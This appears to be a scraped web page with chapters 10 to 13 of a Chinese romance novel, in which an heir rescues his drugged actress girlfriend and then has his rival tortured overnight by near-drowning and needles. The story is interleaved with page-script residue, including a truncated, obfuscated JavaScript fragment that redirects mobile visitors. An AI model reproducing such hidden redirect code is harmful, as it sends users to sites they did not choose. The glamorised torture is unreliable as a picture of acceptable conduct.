$(''.inform'').remove(); $(''#content'').append('' 随着“嘭”的一声巨响,几米之外的木门被人踢开。 黎艾被吓得猛地睁开眼,看到一个穿得一身黑的男人走进来。 “好久不见啊,”男人的目光直直望过来,笑着念出视线里那人的名字,“陈添。” 陈添看着他,表情挺平静,像预料到他会出现。 “他谁?”黎艾凑过来低声问。 “陈茂林。” “你说的那个死对头?” “嗯。” 陈添将黎艾搂进怀里,抬眼问陈茂林:“说吧,来这儿干嘛?” “放心,我没想做什么,就来煞煞风景,”陈茂林在池边蹲下来,脸上没再挂笑,磨着后槽牙开口,“看你在我们的地盘的带马子吃喝玩乐,我真的很不爽。” 陈添笑了声,像听了个笑话,“什么叫没想做什么,你个废物能做什么?” 这话让陈茂林后槽牙咬得更紧了,都能轻易的在他腮帮子处看到突出来的牙槽。 他站起身,做出居高临下的姿态,冷笑道:“关起门来打狗还是能做到的。” 说完,他吹了个口哨。 紧接着,门口又涌进来好些人,个个身高体壮。 “知道你牛逼,一个打八个不是问题,但我这儿有二十多号人,”陈茂林挑衅地朝他扬下巴,“你还打得过吗?” 在作为特种兵的服役期间,陈添拿过所能参加的军事演习和比赛的所有最高荣誉,一个打八个还真不是问题,但一个打二十多个,还是在没有武器的情况下,这他妈得是玄幻片里的超人。 “得亏你清了场,不然还不太好办呢。”陈茂林笑得十足卑鄙恶劣。 艹,这种架势,黎艾还是第一次遇见。 像是感觉到她身体有些紧绷,陈添像宽慰般轻拍了拍她的腰。 黎艾转头看向他。 他还是那副张狂而从容的样子,脸上没有一丝的畏惧和慌张,像一切都在掌控中。 一切,也的确在他掌控中。 在陈茂林趾高气扬的这时候,空中传来阵阵轰鸣。 陈添抬起手,食指在耳边绕了绕,问陈茂林:“听见什么声音了吗?” 陈茂林脸色一僵。 下一秒,一架接一架的直升机从他头顶飞过,一根根绳索从空中抛下。 很快,在陈添的身后,也出现了二十多号人。 为首的陈祁生轮着手里的棒球棒笑着走过来,“我今晚上的飞机,没想到走之前还能赶上这么一场热闹。” 看着这么一帮人,刚刚还笑得春风得意的陈茂林怎么也笑不出来了。 他哪里能料得到,在他带着一帮人踏进这温泉山庄时,陈祁生那边就坐上了直升机,至于直升机和这帮人,早在黎艾抵达淮城时就候着了,等的就是这一刻。 陈添从温泉池里站起来,一步一步朝陈茂林走过去。 有这么一帮人在身后,黎艾自然安安心心地继续待在池子里泡温泉,作壁上观。 陈添和陈茂林之间还是有那么一段距离,陈添边走边同他说:“我们要是在你的地盘搞出个群殴,被定性为黑一社一会,到时候,你陈茂林,检察院肯定是不会放过,至于你以为会给你撑腰的那群人,老爷子也一定一个都不会放过,包括夹着尾巴跑去泰国那个。” 在陈家,法律是绝对的红线。 陈家奉行低调处事,不想被大众熟知,更不想被政府盯上,谁要是犯了法还把事儿闹太大,老爷子那边第一个不放过。 “什么年代了还玩这套?”陈添走到陈茂林身边,俯身凑到他耳旁,掀唇,“爷爷教教你什么是遵纪守法。” 语落,他一脚踹在陈茂林膝窝,陈茂林顿时跪了下去。 跪下去是身体条件反射,陈茂林想站起来,陈添没给他这个机会,一手反拧住他的胳膊。 陈茂林痛得不能动弹,面色狰狞。 他身后的人想上前却又忌惮前面那群拿棒球棒的,再者陈茂林也没发话,他们不敢贸然动手。 陈添量他也不敢让人动手,继续拧着他胳膊。 陈茂林疼得不行,陈添看着却像没用什么力气,气定神闲地笑着,语气也没有因为用力而咬牙切齿,是一贯散漫的声线,像逗弄一只不费吹灰之力就能踩死的蚂蚁,“放心,不会把你胳膊拧断,爷爷我可是遵纪守法好公民。” 11. 第 11 章 陈茂林不敢把事情闹大,最终只能灰溜溜地夹着尾巴滚蛋。 想关门打狗的他大概怎么也没想到,自己成了那只狗。 但其实,就算陈祁生没有带一帮人赶来,陈茂林也不敢对陈添动手,顶多是让人把他按住羞辱两番。 如陈添所言,他的确是个什么都做不了的废物,在自己的地盘还能被收拾成这样。 等他被陈添丢出去,黎艾从池子里站起来,身上的水汽被山间的风一吹,冷得要命,她不知道陈添怎么能那么抗冻,他身上就一条短裤,还是被打湿的短裤,他却像是一点儿都感觉不到冷,而黎艾把浴袍披上都还冷得起鸡皮疙瘩。 人与人的体质差别真的很大。 “不泡了?”陈添问她。 “嗯。”黎艾把浴袍披上。 “按摩去?” “你在这儿没别的仇家了吧?不会等会儿我俩按着按着又一波人冲进来吧?” 陈添笑笑,“放心。” 黎艾拎起另一条浴袍丢给他,“穿上,大冷天的。” “都快四月了,还算什么大冷天。” 看他慢悠悠地穿着浴袍,想来是真一点儿不觉得冷,黎艾简直嫉妒,“只要没上20度,对我来说都是大冷天。” “有什么区别吗?没上20度你风寒感冒,上了20度你风热感冒。” 黎艾白他一眼,“闭上你的嘴赶紧走吧,冻死我了。” “迈个腿关嘴什么事?” “我单纯想你闭嘴,行了吗?” 陈添这人平时话很少,但那是在别人面前,在她面前话是真不少。 “不行,”陈添一把将她搂进怀里,“我大老远过来陪你,话还不能多说两句?” “要说话你不能好好说,净杵我。” 头顶落下一声低笑。 “这叫打情骂俏,是情趣,”他抬手揉揉她的脸,头低下来,吻在她耳尖,“懂吗?宝贝。” 过于磁性的声音落在耳骨上,震得黎艾半边身子都有些酥麻。 黎艾就不明白了,之前圈内有几个朋友不约而同地跟她说起过与异性接吻的感觉,都说接吻的次数多了就没那种酥酥麻麻的感觉了,但她这都跟陈添谈五年了,别说接吻,就是像这样一句耳语都能在她身体里带起一阵电流。 她也不知道是她的问题,还是陈添这人太要命。 - 两个人在同一间房里做spa。 黎艾用手枕着脑袋,歪头把陈添看着。 “看我干什么?”他俩没少一起做spa,以往黎艾才不会看他,到了地方就两眼一闭。 黎艾缓缓眨了眨眼,在心里回答他: 再不多看看,就看不到了。 “几天不见,你长帅了。” 陈添成功被她逗笑,“你新戏的人设是冷幽默?” “我新戏人设是放荡,好色。”她没唬他,她那角色后期成贵妃后是挺好色放荡的,给皇帝戴了好几顶绿帽子。 “好色?”陈添微挑眉。 得,再聊下去,今晚她指不定要被折腾成啥样。 黎艾扭过头,不看他了。 看她这会儿哑火了,陈添莫名觉得更好笑了,一边看着她,一边牵唇笑了好久。 他们做的项目总时长是两个小时,这两个小时里,陈添一直看着黎艾,目不转睛。 她像是早早就睡着了,一动不动的躺在那儿,只有纤长的睫毛轻轻颤动着。 来之前她卸了妆,一张脸很素净,却依旧漂亮得不像话。 如果不是拍戏需要,她完全不需要化妆,甚至连眉毛都不用修,天生的眉形就极好看,每一处五官都精致得像上了妆,双唇是诱人的樱粉色,皮肤雪白又细腻,像浸水的白玉,肤色比上了粉底还均匀,没有任何的暗沉,眼睛也像戴了美瞳,是少有的浅色瞳。 起初,他并非被她皮囊所吸引,后来却也为她出众的容貌而着迷,每每视线一落在她身上,就很难再移开,不管是五年前,还是五年后的今天,一直是这样,怎么都看不够。 “先生。”技师低声的轻喊让陈添回过神来。 他知道她是想问还要不要继续,遂轻声开口:“你们出去吧。” “好的,二位慢慢休息。” 两名技师退出房间。 陈添从他那张床上起身,走到黎艾身边。 VIP专属房间,床很宽,陈添在床沿坐下,头微侧,近距离的看她。 不自觉地,他眼底流露出笑意。 随后,他俯身,在她额间印下轻轻的一吻。 - 黎艾这一觉睡了挺久,所以晚上也被陈添折腾了挺久,他说她下午睡太久,晚上肯定睡不着,他帮她运动运动。 假公济私的臭男人。 黎艾说她需要看剧本,以此来让他停止禽兽行为,结果这人非但没停,还和她对上了戏,成了秽乱后宫的奸臣,她则是那个和奸臣同流合污的皇妃,他一口一个微臣,却一次比一次撞得更凶,丝毫没有作为下位者的姿态,这哪里是在对戏,分明是他角色play的恶趣味。 陈添在这边待到了剧组离开西城才回,以往黎艾拍戏时,他也总会来探班。 有他在,和她一起搭戏的男演员总会特别紧张,尤其是亲密戏,虽说她从来没什么特别亲密的戏,吻戏都是借位,这部戏里最大的尺度是一场浴池激一情戏,不过也只是搂搂脖子而已。 陈添这人占有欲强,当然介意她拍亲密戏,所以凡是她的戏,导演都很注意尺度,可即便这样,和她搭戏的男演员还是紧张,大概是都听说了曾经有个和她搭戏的男演员被整得很惨的事。 确实是有这么一回事,不过陈添整那个人不是因为他和黎艾拍了亲密戏,是陈添听到了他对黎艾图谋不轨。 陈添没那么小气,但也没少吃醋。 他一吃起醋来,特过分,他不搞那些男演员,他搞黎艾。 黎艾有时候都觉得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 他吃醋是假,借吃醋占她便宜才是真。 《越关山》的取景地不多,后期的宫廷戏都在同一个地方,拍摄难度不算大,整部电影的拍摄只用了三个月。 杀青那天,夕阳特别漂亮。 黎艾站在高高的宫墙上看了很久的夕阳。 每一次日落都是一场盛大的落幕,今日这轮夕阳沉入地平线,她的演艺生涯也就此落幕。 往后,她要奔向她自己的天地了。 “姐。” 宫墙下传来秦依依的呼喊。 黎艾垂眸。 “该走了。” 嗯,该走了。 黎艾回头,最后看了看身后的宫殿楼宇,这里是无数人的梦,也曾是无数人一生的牢笼,于她而言,这里也算牢笼,但这五年倒也并没有那么痛苦煎熬,因为有陈添在。 陈添…… 在这样明媚的艳阳天里,眼前是绚烂的晚霞,思及他,她心里却像下了一阵酸雨,五脏六腑都被酸雨腐蚀,淹没。 心脏传来真实的疼痛感,像刀绞那般疼。 一直压着的情绪,在此刻突然有些崩断。 眼泪一瞬间漫过瞳孔,大颗大颗滑落。 她哭得没有声音,泪水却比她任何一场哭戏都要汹涌。 拍戏的这三个多月里,她做好了一切商务交割,今天之后,她就可以完全退出娱乐圈,也可以完全退出陈添的世界,原本她就是这样打算的,给他的离别信也想好写什么了,她没打算亲口和他道别,可真的到了这一天,她发现她好像做不到,做不到这样果断地离开。 天边的晚霞被眼泪晕开,模糊成一片彩色的霓虹,但那么美,夏天的傍晚总是那么美。 六月,夏天才刚刚开始,她还想拥有一个夏天,有他在的夏天。 可是,可是…… - 这晚的杀青宴上,黎艾喝了很多。 不知道是情绪的原因,还是酒的度数比较高,才喝不到一个小时她就醉得不省人事。 有人把她扶了起来,她能感觉得到,但睁不开眼睛,眼皮沉得像压了快石头,看不到对方是谁。 对方扶着她走了一段路,然后她迷迷糊糊间感觉自己好像被塞进了一辆车。 车子摇摇晃晃的,她胃里一阵一阵翻滚,吐了好几回。 随着胃里的酒水被吐出来,身体里的酒精含量似乎少了些,眼皮没那么沉了,可身上还是使不上一点力气,睁开眼看到的也是模模糊糊的一片,过了会儿视线才清晰了一些,但只片刻,视线又开始变得模糊,如此反反复复。 这不像她平时醉酒的感觉,倒像……被下了药。 混沌又晕眩的脑子里冒出这个念头,她浑身一激灵,瞬间清醒了不少。 视线恰好在这时候变清晰,黎艾看到一张她只见过一面却印象深刻的脸,险些被人关起门来当狗打,她印象当然深刻。 “哟,醒着?” 陈茂林抬起她的脸。 12.第 12 章 “哟,醒着?” 黎艾看着他,目光冷冽而防备。 瞧她这模样,陈茂林笑了,“放心,我没打算对你怎么样,只是想拍两张照片恶心恶心陈添。” 说着,他拿出手机,坐到黎艾身边,伸手把她搂进怀里就开始拍。 黎艾想推开他,但连抬手都困难的她根本推不开他,声带像是被什么黏住,连个“滚”字也说不出。 本能地挣扎了两下后,她放弃徒劳的抵抗,趁陈茂林拍照,自己也还算清醒,她赶紧按了两下腕间手表旁边的一个按钮。 这块手表是陈添为她特制的,在两年前她被仇视陈添的一方势力报复后,陈添就找人为她做了这块表,只要在两秒内按动两次那个按钮,陈添和警方就会收到她的求救信号。 手表里有定位,警方会在最快的时间赶来。 现在,她只求陈茂林真如他所说的那样,没打算对她怎么样。 “你说……” 陈茂林的声音从头顶落下来,紧接着,她的下巴又被他抬起,她看到陈茂林在笑,笑得极为恶劣。 “你说,陈添看我搂着你,还跟你过了一夜,他对你还硬得起来吗?” 黎艾没有办法思考这个问题,视线又开始变模糊,头也开始发沉,她用力做着深呼吸,努力保持清醒。 因用力的呼吸,她胸口起伏明显,让陈茂林以为她是在害怕,“怕了?听说你很野来着,这就怕了?” 黎艾已经看不清他的脸,面前只有一个模糊的人影,眼皮不受控地往下坠着,她用尽全身力气让自己保持睁眼,不让自己晕睡过去,这让她即使半搭着眼,眼神里也带着股劲,看起来颇为凌厉。 “哦!我知道了!”看她这眼神,陈茂林玩味笑道,“你不是怕我会对你怎么样,你是怕陈添不要你,对不对?” 这事儿似乎让他很兴奋,他大笑起来,像个癫狂的疯子。 足足笑了十来秒后,他打开手机把刚刚拍的照片给黎艾看。 “我呢,打算把这照片发个朋友圈,文案就写……”他故作思考,嘴角的笑意收了两秒后又很夸张地上扬,“写好吃不如饺子,好玩不如嫂子哈哈哈哈!” 他再次丧心病狂地大笑。 黎艾看不清他的笑容,但光是听笑声就知道他笑得有多令人恶心。 她知道他不敢对她怎么样,他就是想恶心陈添,让人以为他给陈添戴了绿帽子。 所以,黎艾并不担心自己的安危,这里似乎离他们办杀青宴的地方并不远,还在城里,那警方肯定能很快赶来,陈茂林即便想给陈添戴一顶真的绿帽子也来不及,何况他不敢。 然而,她低估了陈茂林的卑劣。 他是不敢强上她,但动动手脚的事儿,他还是敢的。 黎艾如果能看清他的眼神,就知道他不会那么轻易的放过她,他此刻捏着她的下巴紧盯着她,像漆黑密林里一只缠绕住猎物的毒蛇,眼中闪动着兴致勃勃的光。 “陈添眼光还真不错,”他唇边荡开一抹不怀好意的笑,“你他妈简直是个极品。” 黎艾昏沉的大脑猛地清醒了一瞬。 “真他妈想把你上了,但不是就陈添懂法律,我也懂的,所以……”他声音里的笑愈发明显,还故意拖长了尾音凑到她耳边,像在逗弄一只即将变成一盘美食的羊羔般压低声音说,“我不会在你身上留下任何痕迹。” 就因为他这句话,黎艾完完全全清醒了过来,至少是这在一刻,药性败给了愤怒。 肾上腺素的飙升让失去的力气霎那间回到了她的身体,几乎是本能地,她抬手就给了陈茂林一拳,在他还没反应过来时又狠狠踹了他要害一脚。 男人身上最脆弱的地方被她这么一踹,陈茂林瞬间倒地不起,两手捂着裆,表情狰狞无比,痛得连一点儿声音都发不出。 黎艾想再上去补两脚,但药力又上来了,她刚迈过去一步就摔倒在地。 刚刚她有多清醒,现在反弹得就有多厉害,脑子里天旋地转,晕得她都有种窒息感。 之前她还能让自己保持睁眼的状态,现在她完全抵抗不了那股晕眩。 完蛋…… 所有力气被彻底抽空,意识逐渐模糊…… 在完全失去意识的最后一秒,她耳边隐约响起了警车的警笛声,她分不清是幻觉还是真的。 她希望是真的。 - 凌晨一点,一辆私人飞机降落机场。 一身冷冽气场的男人从机舱里大步迈出,走向另一架直升机。 男人登机后,直升机即刻起飞,朝着黎艾所在的医院驶去,用时二十分钟抵达医院住院部大楼楼顶。 楼顶站了一排人,《越关山》剧组导演、制片、出品人、监制……能来的都来了,连影视公司的董事都来了两个,个个面色惶恐,见男人从直升机上下来,他们连忙弯腰低头,姿态卑微,齐齐紧着喉咙喊:“添爷。” 陈添一个眼神都没给他们,径直往电梯走。 后面一群人赶紧跟上,但没人敢跟他坐同一间电梯。 电梯下行,在一分钟内到达了黎艾所在的楼层。 有护士在楼梯门口迎接,等电梯一开便给陈添指了路。 陈添三步并两步走到黎艾的病房门口,医生在里头候着,他知道黎艾现在是什么情况,所以没有问医生,迈步走到了黎艾身边。 她还昏迷着,但并没有什么大碍,等药效过去就会醒。 某种意义上来说,现在她只是睡着了,但陈添还是想先过来看看她。 他在床边坐下来,轻轻握住她的手。 过了十来分钟,他转头问还守在病房里的医生:“她什么时候能醒?” 明知她不会被吵醒,他依旧将声音放得很轻。 “大概七八个小时后。” 七八个小时,够了。 继续握了会儿她的手后,他起身,缓步走出病房。 在病房外,他从裤兜里拿出手机,拨了个电话,“他人在哪儿?” 他口中的“他”,当然是陈茂林。 陈茂林也在这所医院的vip病房,就在下一层。 陈添坐电梯下去,往陈茂林所在的病房走,病房门口的过道上站着二十多个身穿西装的高大男人,他们不是陈茂林的人,是防止陈茂林跑路的。 见陈添出现,二十多号人齐齐颔首鞠躬。 陈添从人群中走过去,迈进病房。 病房里,陈茂林躺在病床上,表情还挺镇定。 他没有试图逃跑,也没有进行任何挣扎,像认了栽。 陈添走进病房后,站在门口的人将门关了,密闭的房间里一共四个人,除却他和陈茂林,还剩两个西装男,其中一个西装男为陈添搬来椅子,陈添坐下,习惯性地后仰,姿态随意,却愈显气场。 他看着陈茂林,没说话。 在他的注视下,陈茂林明显没刚刚那么镇定了,眼神开始发虚,呼吸也变得急促。 看出他的恐惧,陈添蔑然笑了下,“就这点儿胆子,还找死。” 陈茂林深吸一口气,咬着牙挑衅开口:“有本事,你他妈真把我弄死。” 陈添还是笑。 “我不弄死你,”他眼睛稍稍眯了眯,语气轻飘飘地吐出后半句,“我让你生不如死。” 陈茂林眼神猛地一颤,脸色都被吓白了。 以往看到别人被自己吓破胆,陈添会愉悦地勾起唇角,但今天,他的眼神却一沉到底,瞳孔内一片漆黑,落在陈茂林身上的目光如刀刃般又冷又利,似极力压抑着想要一刀一刀将他活剐的冲动。 冷冷盯了他许久,陈添才缓缓眨了眨眼,脸上重新浮上些许玩世不恭,他没再看陈茂林,垂眸把玩着一枚打火机,语气漫不经心,“别以为我不知道你们打的什么主意,我猜,你应该是犯了什么事儿,所以他们把你推出来,想让你把我拉下来,但不好意。” 他掀眸,寒刃般的眼神落回陈茂林身上。 “我没那么蠢,”他语气带着一种金属般的冷感,“你动黎艾,我确实是很想不顾家规律法弄死你,但犯不着。” 说到这儿,他眼底透出笑意,心情不错般微勾着唇朝陈茂林偏了下头,“能让人生不如死又不留下什么伤害痕迹的方式,多得是。” 说完,他唇角弧度扩大。 看着脸上的笑,陈茂林只觉得后背阵阵发凉。 陈添像是看够了他这个表情,眼皮一掀,向站在他对面的那个西装男投去一个眼神。 西装男会意,伸手抓着陈茂林头发就把他床上拖了下来,就这样一路将他拽去了卫生间。 因为是VIP病房,卫生间空间很宽敞,还配备了浴缸,浴缸里早早被人放满了水。 男人把陈茂林拽过来后,一把将他按进了水里。 鼻腔里被猛地灌进水,陈茂林本能地剧烈挣扎,但按着他脑袋的男人力大无比,不管他怎么挣扎都始终被男人死死按在水里,直到感觉他快到极限才抓着他头发把他从水里捞起来。 终于能够呼吸了,陈茂林嘴巴大张,跪在地上十分剧烈且夸张地呼吸着,头发和脸都滴着水,脸涨得通红,红得都发了紫,模样狼狈至极,丝毫看不出他曾是个风光无限的公子哥。 陈添慢悠悠走进来时,看到的就是他这副样子。 身后的另一名西装男将椅子搬来了卫生间,他坐下,单手支颐,像欣赏世界名画般看着眼前的一幕。 男人并没有给陈茂林太多喘息的时间,很快又将他按进了水里。 “生不如死”这四个字,没有人比此刻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的陈茂林更能切身的明白。 反反复复被按进水里二十多次后,陈茂林整个人都快虚脱了,可夜还长,陈添当然不打算就这么放过他。 “添爷。”男人抓着陈茂林地头发让他面向陈添。 陈添起身,双手插兜走到陈茂林面前,半弯腰,笑着俯视他。 “看你没什么力气了,我们换个玩儿法。”他颇有兴致地弹了个舌,卫生间里响起清脆的一声响。 尽管已经意识涣散,听到这句话,陈茂林还是不由得打了个寒颤。 很快,陈茂林面前出现了一根中医用来针灸的银针。 他嘴里被粗暴地塞进一张毛巾,塞得他口腔没有任何的空隙,让他几乎无法发出任何声音。 淹他水的男人继续抓着他头发让他跪在地上,并将他的左手别到了背后,另一名西装男半蹲下来,抬起他的手,拿着那根银针,一点一点刺入他指尖。 十指连心,陈茂林顿时疼得浑身都暴起了青筋。 看他满脸痛苦,陈添心情颇佳,但这还不够,远远不够。 “时间还长,”陈添扬唇,“我陪你玩儿到天亮。” …… 早上六点,泠泠晨色透过窗照进房间。 陈添看向窗外那抹天光,而后转了转有些疲劳的脖子。 陈茂林这会儿头发已经干了,但脸上身上还是湿淋淋的,因为出了太多汗,都是被疼出来的冷汗。 “今天到此为止,”陈添垂眸看着地上如一条死鱼般的陈茂林,“天亮了,我得回去陪她了。” 提到黎艾,陈添觉得还有必要再警告陈茂林一句。 他贴心地蹲下来,好让陈茂林将他接下来说的话听得更清楚,“你要还敢动她,我不光让你生不如死,我还让你死得干干净净,骨灰都不剩。” 说完,他站起身,离开了这间病房,没有嘱咐其他人什么,都是聪明人,他们知道怎么做。 回到黎艾的病房,她还没醒,陈添在床边的椅子坐下,静静守着她。 像是能感应到他的出现,黎艾很快醒了过来。 睁开眼,在逐渐清晰的视野里,她第一眼看到的就是他。 “你怎么来了?”她问他。 青港离这里那么远。 陈添却说:“我怎么可能不来?” 短短七个字,她心底忽的涌起一股暖流,特别暖。 她知道,他不光连夜赶来了,还一夜未眠地守着她醒来。 她无从得知他是否一夜未眠地守着她,但他一向如此,所以她就是知道,在她没醒之前,他不会睡。 “什么时候来的?” “收到警报的时候。” 黎艾看了眼墙壁上挂着的时钟,“那你见过陈茂林了?” 陈添“嗯”了声。 “他手机里的照片你删了吗?”黎艾坐起来。 “删了。” 黎艾眨了眨眼,目光望进陈添的双眸,“看到照片什么感觉?” “想弄死他的感觉。”陈添语气平静。 “就没了?”黎艾微微睁大双眼。 “没了。” “你都不问问他都对我做了什么?还是你已经问过他了?” “没问。” “这你都不问?!”黎艾稍显激动,“你不介意?” “有什么好介意的?”似是怕她误会他这句话是不在乎她的意思,陈添补充道,“警察送你来医院后,医生第一时间给你做了检查,你身上没有被侵犯过的痕迹,所以我没问他对你做了什么,但即便他真的对你做了什么,我也不会介意,现在什么年代了,我没那么封建。” “黎艾,”他喊她的名字,总是看起来玩世不恭的他此时神情认真地告诉她,“你是受害者,不应该被任何人问责,包括你自己。” 黎艾看着他,眸光微微地颤着。 她以为,男人在这方面都是狭隘的,所以怎么都想不到他会这样说。 受害者不应该被任何人问责,包括受害人自己。 如果每一个受害者都能听到这样一句话,那这世间一定不会有那么多的悲凉的故事结局,有太多受害者陷入自责的漩涡,走不出那片灰暗,自己将自己拉入更漆黑的深渊,让他人的过错将自己困住。 “知道了没?”看她好久都没说话,陈添皱着眉问她。 黎艾没回答,却忽的笑了起来。 “你笑什么?” “你知道陈茂林是怎么跟我说的吗?” “什么?” “他说,你看着他搂着我,以后还对我硬得起来吗?”她偏头,笑盈盈地等着他的回应。 这下,陈添也笑了。 “放心,”他凑过来,近距离看着她的眼睛说,“对你,我一辈子都硬得起来。” 13.第 13 章 安静的病房里,两人近距离对视着。 有句话说—— 对视,是一种精神接吻。 两个人的目光的确如同接吻般在半空交缠,并,越缠越紧。 某种情绪暗生,渐渐,两个人都扬了唇角。 黎艾抬起手朝陈添靠过去,两只胳膊搭在他肩膀上,将彼此的距离拉得更近,鼻尖都贴到了一起,起初是不经意的触碰,之后是她故意去蹭他的鼻尖,一下又一下,“陈添,这个夏天,你陪我好好玩玩吧。” “好。” 陈添伸手将垂下来遮住她眼睛的头发别到她耳后,“打算什么时候宣布退圈?” 他不知道她有离开的打算,以为她是因为离开了娱乐圈才想好好玩一次。 “过两天就宣。” “以后想做什么?” 黎艾笑着说:“想做什么做什么。” 她没有直接告诉陈添,她想当一名调酒师,不是怕他调侃她没志向,是怕说了,等离开后他会很容易找到她。 人不一定要有多远大的志向,那些所谓“远大”、“伟大”、“崇高”的字眼,不过是千百年来统治者为了更好的奴役和训化底层人民而制造出的说辞,社会的前进需要牺牲,这些牺牲需要被冠上一些好听的标签才会让人心甘情愿地前仆后继,实际上,一个人不管想做任何事,不管是否为他人而牺牲,是否在某个领域做了卓越的贡献,都是为了自己内心的满足,想做一名科学家,和想做一名调酒师,本质上没什么区别,都是很不错的理想。 理想无大小,职业无尊卑。 “那……”陈添眼底噙着笑问她,“想不想做陈太太?” 黎艾愣住。 那天他说要娶她,原来不是说说而已。 见她表情异样,陈添眼神暗了暗,“不想?” 黎艾深吸了一口气,想重新将笑挂到脸上,却怎么也笑不出来,最后只能用这复杂的神情开口:“别告诉我,这就是你的求婚。” 她将脸扭到一边,故作生气,“戒指都没一个。” 陈添笑了下,“我是那么小气的人?” 他伸手将她的脸掰回来,“我会给你一个包你满意的求婚。” 鼻尖是在一瞬间泛酸的,眼眶也发热,黎艾用力吞咽了一下,试图将喉间的酸楚咽下去。 她再次将头别到一边,不想陈添看到她眼底的泪光,“说得你知道我想要什么样的求婚一样。” “你没理由不喜欢。” 黎艾一愣,怔怔转过头来看向他,“你已经准备好了?” “你猜。”陈添牵唇笑着。 “陈添!”黎艾突然加重语气喊了他一声。 “嗯?”陈添喉咙里发出一个单音节。 “求婚是需要惊喜的好吗?别人都是瞒着生怕另一方知道,哪有预告的?”黎艾表情看起来挺有情绪,实际是在演,她庆幸陈添告诉了她这件事,她不想在他求婚时拒绝他,更不想前脚答应他的求婚,后脚却悄悄逃走,她会在他求婚之前离开。 她演技的确不差,陈添没看出丝毫端倪,“我没打算最近就跟你求婚,不算预告。” 他说的最近,她不知道有没有一整个夏天那样长。 看来,他与她,过不完这一整个夏天了。 也好,与其因为难以割舍不断推迟离开的时间,不如干脆一点。 “想什么?”陈添发现这一年她老是动不动就走神,不知道老想着些什么。 黎艾不喜欢撒谎的感觉,但她总不能告诉他,她在想什么时候离开他。 “咕——” 她肚子很是时候的叫了一声。 “我给你点早餐。” 陈添拿过放在一旁的平板,在上面点餐,刚刚那问题就那样揭过去了。 黎艾将手放在肚子上揉了揉,不用骗他,这让她心安了些。 在一起五年,陈添清楚的知道黎艾早餐喜欢吃什么,完全不用问她,自个儿三两下就把早餐点了。 不到十分钟,早餐出现在病房。 “想去哪儿玩?吃完饭我们就可以出发。” “呃……”黎艾想了想,“想去海边骑车兜风,想冲浪。” 陈添打开手机,看天气,“青港这两天很热,我们去南城吧,刚好过两天我有个会议要在南城开。” 说着,他站起来,抬手习惯性揉揉她脑袋,“你先吃,我出去打个电话。” 平时陈添打电话不会特意避开,黎艾虽有疑惑,却也没问。 来到过道尽头,陈添拨出一个电话。 电话接通,手机里传出一道干练的女音:“什么事?” “我今天回南城,但明天再回来。” “要去跟陈迟俞他们喝酒是吧?我这个妈还没他们那帮小子重要?” 陈添低笑,“不是,陪黎艾。” 提到黎艾,那边沉默了两秒,“你跟她谈了好几年了吧?” 陈添“嗯”一声。 “好几年了还这么上心,你别告诉我,你想娶她。”陈鹤龄女士语气颇冷。 “是想娶她。” “你疯了!”陈鹤龄女士的分贝陡然拔高。 陈添很有先见之明地提前将手机拿开了一些,以免耳膜遭受重伤。 陈鹤龄女士继续保持着高分贝输出:“你知不知道!” “我知道。”陈添打断她。 “知道你还!” 陈添再次打断她,“知道也还是想娶她。” “你……”陈鹤龄女士气笑了,“你真他妈是个情种。” 陈添也笑,挺混不吝的笑,“咱陈家不净出情种。” “所以你打这通电话来,是准备把人领回来,还想让我别找她麻烦是吧?” “不愧是陈鹤龄女士,料事如神。” 陈鹤龄女士简直要被这大孝子气死。 “除了别找她麻烦,我还希望陈女士您别把那些事儿告诉她,您也知道,我这个人很混,气性一上来很可能会做些混事波及您的位置。”陈添用最平静的语气和自己母亲说着最混的话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13656535|143585||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他平时和陈鹤龄女士说话并不用“您”这个称呼,今天成心就是气人来的,以示他的确很混。 “你真是翅膀硬了。”陈鹤龄女士这会儿语气已经冷静了下来。 “还得谢谢您栽培。” “滚。”骂出这个字,陈鹤龄女士果断挂了电话。 陈添看着手机界面上被挂断的通话,面上没什么表情,把手机揣回兜里便回去找黎艾了。 既然决定娶她,该面对的事迟早得面对,兵来将挡水来土掩,他没在担心的。 - 抵达南城时是中午。 南城这几日天气很好,阳光温暖却不灼人,别提有多适合去海边吹风。 陈家的老宅就在南城,陈添的母亲常年都居住在这边,陈添也是上大学后才离开南城去的青港。 这里完全可以说是陈家人的地界,每天南城上空飞的直升机里十架有九架都是陈家的,地上的楼盘十个有九个也是陈家的。 陈添一年回不了几次南城,在这儿却有好几处房产,黎艾住过其中三处。 今天他们没先回住处,直接去了海边。 直升机抵达海滩时,路边已经停好了两辆川崎H2R,一辆纯黑,一辆青绿。 有一种绿就叫川崎绿,绿色是川崎最经典的颜色,也是黎艾最喜欢的颜色之一,她喜欢绿色,说不出是什么缘由,大概是绿色有一种蓬勃的生命力。 两人骑上车,沿着滨海路往前骑,他们骑得不算快,打开头盔挡风板吹着风,黎艾很喜欢这种感觉,特自由。 一路上不知道人的目光追寻了他们的身影,车帅,人也帅,很难不吸睛,两人虽带着头盔,只露出一双眼,但看气质,看身形,就已经足够出众。 当他们一同疾驰而过,行走的人只来得及捕捉到两道在阳光下的剪影。 他们连剪影都无比般配。 这种重型机车,黎艾是和陈添在一起的第一年学会的,陈添教的。 她还记得第一次看见他骑着川崎出现在她面前时的心动,陈添这人,就光一副皮囊就能把人迷得半死,何况他不止只有一副皮囊。 这些年,她已经数不清他教了她多少东西。 起初,她以为好为人师是所有男人的通病,他们喜欢以此来获得优越感,但陈添完全不需要通过这种方式来获得优越感,他教她,似乎只是因为,他喜欢她和他一起去做这些事情,喜欢看她因他而更耀眼的样子。 他总喜欢将目光停留在她身上,尤其是这些时候。 骑车,他会让她骑在前面,他在后面看着她。 冲浪,他明明可以和她一起冲,他非要跑到她这边的游艇上坐着看她冲,看的时候,唇边还总挂着笑。 